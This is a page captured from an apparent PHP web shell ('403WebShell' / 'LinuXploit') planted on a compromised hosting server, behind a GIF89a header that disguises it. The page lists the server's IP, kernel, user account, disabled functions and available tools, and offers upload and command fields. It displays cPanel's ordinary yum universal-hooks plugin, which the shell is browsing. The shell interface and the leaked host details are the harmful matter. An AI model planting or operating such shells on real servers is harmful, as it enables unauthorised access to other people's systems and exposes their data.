GIF89a=( ý' 7IAXKgNgYvYx\%wh&h}týh%ýs%xý}9ýRýý&ý0%ý (ý.ýý5ýSDýý&ýa)ýx5ýý;c*!&r)ï7õ<{4ý3ýH§KoTýýYýaqýýqýýFý !ý ' !ý NETSCAPE2.0 , =( ýýpH,ý$rýl:x(tJýZý,výýzýýxL.:ýýzýnýýý|Nýýýýý~ýýýýýýý& !ý0`9Rý}ýý"ý"a:Sý~xýýýýýýýýgýýýEýýýýýýýRýýýEýýýýBýý ýý8ýýDýýý"ýný ýHýýLýýDkDýBýýýýýDýýýTýýýH ýGýýA Rý |ýý m&ýýE8ýSýkGýAýpxýaýýý R2XBýýE8Iýýý6Xý:vT)ý~ýýqýåýý"F~%xý ý 4#Zý0O|-4BsýX:= Qý SalýýyXJ`G&|s hýýK3l7ýB|ý$'7J©*0!ýýDýn=ýPý ýýýý0`ýRýljýýýýv>ýýý5 ý.69ýødýýýýýnlvý9ýýf{ýýýPbx ýl5}ýpý ýýý ý3aýýýIýOýýýý!>ýýýiýý9ýý#ýý)pýa ½ ý{ý)vmýý%D~ 6fýýs}RýDýW Eý`!ý ý&L8xý ý{)x`X/>ý}mýýRý*|`Dý=ý_ ^ý5 !_&'aýOý7ýcýý`DCx`ý¥ý9ýYýFýýý`?ýý"ý ýn@`ý} lýý@4>ýd S ývýxNýý"@~dýý=ýgýs~Gýýý ýýýud &p8Qý)«lXDýýýýA~HýySunýjýýýk*DýLHý] ýýC"JýýXb~ªwSt}6K,ýýqýS:9*:ýýýlý@ý`ýý ý.ìýt9ýSý[©:ýý=`9Nýýýý{¿ýA !Rý:ýýý6ýýxý0ý_ ý;ýýýýýý^ýýý#ýýýý!ýýýýUýýý;0L1ýýýýýp% AýýU,uýý%ýSýý!ýýý~`ýGýýýý ýýý=4ýnpý3ýýýýýýýýýuýuýn|%2ýIýýrý#0ýýJ``8ý@S@5ý ýýý^`8Eý]ý.ýSýýý7 ý ý0ýj SýDý zýýýiýSýýýýý!ýýýlýýw9*ýDýIýnEXýýý &AýGoýQfýýFýý;ýýý}ýJýýýýF5ýýQ|ýýýXýýTýýyýýý]ý o ýýC=ýý:ýýýPB@ DýSý(>ýCýx}`ýýxJ,ýàýýp+eE0`ý}`A ý/NEýý ý9@ýýý Hý7ý!%B0`ýl*ýý!8 2ý%ý ý:ý1ý0Eýýux%nP1ý!ýC)ýP81lýxF#¬{ýýýýB0>ýý 403WebShell
403Webshell
Server IP : 217.18.85.50  /  Your IP : 3.137.214.16
Web Server : LiteSpeed
System : Linux server50.tr85.dhs.com.tr 3.10.0-962.3.2.lve1.5.85.el7.x86_64 #1 SMP Thu Apr 18 15:18:36 UTC 2024 x86_64
User : ferhatgenc ( )
PHP Version : 7.2.34
Disable Function : restore_ini,mail,openbasedir,f_open,system,dl,array_compare,array_user_key_compare,passthru,cat,exec,popen,proc_close,proc_get_status,proc_nice,proc_open,escapeshellcmd,escapeshellarg,show_source,posix_mkfifo,ini_restore,mysql_list_dbs,getmyuid,pconnect,link,symlink,fin,passthruexec,fileread,shell_exec,pcntl_exec,ini_alter,leak,apache_child_terminate,chown,posix_kill,posix_setpgid,posix_setsid,posix_setuid,proc_terminate,syslog,allow_url_fopen,fpassthru,execute,shell,chgrp,passthru,socket_select,socket_create,socket_create_listen,socket_create_pair,socket_listen,socket_accept,socket_bind,foreach,socket_strerror,pcntl_fork,pcntl_signal,pcntl_waitpid,pcntl_wexitstatus,pcntl_wifexited,pcntl_wifsignaled,pcntl_wifstopped,pcntl_wstopsig,pcntl_wtermsig,openlog,apache_get_version,apache_getenv,apache_note,apache_setenv,virtualal
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/lib/yum-plugins/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/yum-plugins/universal-hooks.py
#!/usr/bin/python

# Copyright (c) 2015, cPanel, Inc.
# All rights reserved.
#
# Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
#
# 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
#
# 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the
# documentation and/or other materials provided with the distribution.
#
# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES,
# INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
# DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
# SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
# SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY,
# WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
# THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.

import os, glob, re, tempfile
from yum.plugins import PluginYumExit, TYPE_CORE, TYPE_INTERACTIVE

requires_api_version = '2.3'
plugin_type = (TYPE_CORE, TYPE_INTERACTIVE)

def_base_dir = '/etc/yum/universal-hooks';

# conduit object info http://sourcecodebrowser.com/yum/2.4.0/namespaceyum_1_1plugins.html

# TODO: help/docs the way yum plugins do them

def _run_dir(dir, conduit, args = ''):

    dir.rstrip('*');
    dir.rstrip('/');

    if not os.path.isdir(dir):
        return None

    # TODO/YAGNI?: if yum called w/ --quiet: hide output from system() && do not call conduit.info()
    # TODO/YAGNI?: if yum called w/ --verbose also output pre/post "running $cmd" region markers
    # TODO: under dry run do nto run scripts just note that they would have been

    for script in sorted(glob.glob(dir + "/*")):
        if (os.access(script, os.X_OK)):

            # TODO/YAGNI?: if exit is ??? raise PluginYumExit("!!!! " + script + " said it was time to stop");
            if (len(args)):
                exit = os.system(script + ' ' + args)
                if(exit != 0):
                    conduit.info(2, "!!!! \"" + script + ' ' + args + "\" did not exit cleanly: " + str(exit))
            else:
                exit = os.system(script)
                if(exit != 0):
                    conduit.info(2, "!!!! " + script + " did not exit cleanly: " + str(exit))
        else:
            conduit.info(2, "!!!! " + script + ' is not executable')

def _run_pkg_dirs(base_dir, conduit, slot):
    ts = conduit.getTsInfo()

    # setup __WILDCARD__ data for the slot
    wc_slot_dir = base_dir + "/multi_pkgs/" + slot
    wildcard_list = {};
    for path in glob.glob(wc_slot_dir + "/*"):
        if os.path.isdir(path):
            path = os.path.basename(os.path.normpath(path))
            regx = path;
            regx = regx.replace("__WILDCARD__",".*")
            regx = re.compile("^" + regx + "$")
            wildcard_list[path] = regx
    wildcard_to_run = {};

    # Get a temp file for writing package names to
    pkgs_file_path = tempfile.NamedTemporaryFile()

    members_seen = {}
    members = ts.getMembers()
    for member in list(set(members)):
        if members_seen.has_key(member.name):
            continue

        members_seen[member.name] = 1

        # TODO/YAGNI?: set state to a normalized 'not_installed' 'updatable' 'installed' and pass as third arg to _run_dir()
        #    This is helpful so scripts don't have to decifer the meaning of obtuse values.
        #    It is also very tricky as the various state values (member.current_state, member.output_state, member.po.state, member.ts_state) are crazy, e.g.:
        #       Doing a reinstall member.current_state was 70 which means not installed per http://yum.baseurl.org/api/yum-3.2.26/yum.constants-module.html (which can be brought in via 'from yum.constants import *').

        pkg = member.name
        pkgs_file_path.write(pkg + "\n")
        pkgs_file_path.flush()

        _run_dir(base_dir + "/pkgs/" + pkg + "/" + slot, conduit)

        # note any __WILDCARD__ that need to run for pkg
        for wc in wildcard_list:
            if wildcard_list[wc].search(pkg):
                wildcard_to_run[wc] = 1

    # call _run_dir on any __WILDCARD__ paths that match the pkg
    for wc_dir in wildcard_to_run:
        _run_dir(wc_slot_dir + "/" + wc_dir, conduit, "--pkg_list=" + pkgs_file_path.name )

    # Close our packages file handle
    pkgs_file_path.close()


def config_hook(conduit):
    """
    Called first as plugins are initialised. Plugins that need to extend Yum's
    configuration files or command line options should do so during this slot.
    """

    base_dir = conduit.confString('main','base_dir',def_base_dir)
    _run_dir(base_dir + "/config", conduit)


def postconfig_hook(conduit):
    """
    Called immediately after Yum's config object is initialised. Useful for
    extending variables or modifying items in the config, for example the
    $ variables that are used in repo configuration.
    Note: Only available in yum 3.1.7 or later
    """

    base_dir = conduit.confString('main','base_dir',def_base_dir)
    _run_dir(base_dir + "/postconfig", conduit)

def init_hook(conduit):
    """
    Called early in Yum's initialisation. May be used for general plugin
    related initialisation.
    """

    base_dir = conduit.confString('main','base_dir',def_base_dir)
    _run_dir(base_dir + "/init", conduit)

def predownload_hook(conduit):
    """
    Called just before Yum starts downloads of packages. Plugins may access
    information about the packages to be downloaded here.
    """

    base_dir = conduit.confString('main','base_dir',def_base_dir)
    _run_dir(base_dir + "/predownload", conduit)

def postdownload_hook(conduit):
    """
    Called just after Yum finishes package downloads. Plugins may access
    error information about the packages just downloaded.
    """

    base_dir = conduit.confString('main','base_dir',def_base_dir)
    _run_dir(base_dir + "/postdownload", conduit)

def prereposetup_hook(conduit):
    """
    Called just before Yum initialises its repository information.
    """

    base_dir = conduit.confString('main','base_dir',def_base_dir)
    _run_dir(base_dir + "/prereposetup", conduit)

def postreposetup_hook(conduit):
    """
    Called just after Yum initialises its repository information.
    """

    base_dir = conduit.confString('main','base_dir',def_base_dir)
    _run_dir(base_dir + "/postreposetup", conduit);

def exclude_hook(conduit):
    """
    Called after package inclusion and exclusions are processed. Plugins
    may modify package exclusions here.
    """

    base_dir = conduit.confString('main','base_dir',def_base_dir)
    _run_dir(base_dir + "/exclude", conduit);

def preresolve_hook(conduit):
    """
    Called before Yum begins package resolution.
    """

    base_dir = conduit.confString('main','base_dir',def_base_dir)
    _run_dir(base_dir + "/preresolve", conduit);

def postresolve_hook(conduit):
    """
    Called just after Yum finishes package resolution.
    """

    base_dir = conduit.confString('main','base_dir',def_base_dir)
    _run_dir(base_dir + "/postresolve", conduit);

def pretrans_hook(conduit):
    """
    Called before Yum begins the RPM update transation.
    """

    base_dir = conduit.confString('main','base_dir',def_base_dir)

    _run_pkg_dirs(base_dir, conduit, 'pretrans');
    _run_dir(base_dir + "/pretrans", conduit);

def posttrans_hook(conduit):
    """
    Called just after Yum has finished the RPM update transation.
    """

    base_dir = conduit.confString('main','base_dir',def_base_dir)

    _run_pkg_dirs(base_dir, conduit, 'posttrans')
    _run_dir(base_dir + "/posttrans", conduit)

def close_hook(conduit):
    """
    Called as Yum is performing a normal exit. Plugins may wish to
    perform cleanup functions here.
    """

    base_dir = conduit.confString('main','base_dir',def_base_dir)
    _run_dir(base_dir + "/close", conduit);

def clean_hook(conduit):
    """
    Called during Yum's cleanup.  This slot will be executed when Yum
    is run with the parameters 'clean all' or 'clean plugins'.
    """

    base_dir = conduit.confString('main','base_dir',def_base_dir)
    _run_dir(base_dir + "/clean", conduit);


Youez - 2016 - github.com/yon3zu
LinuXploit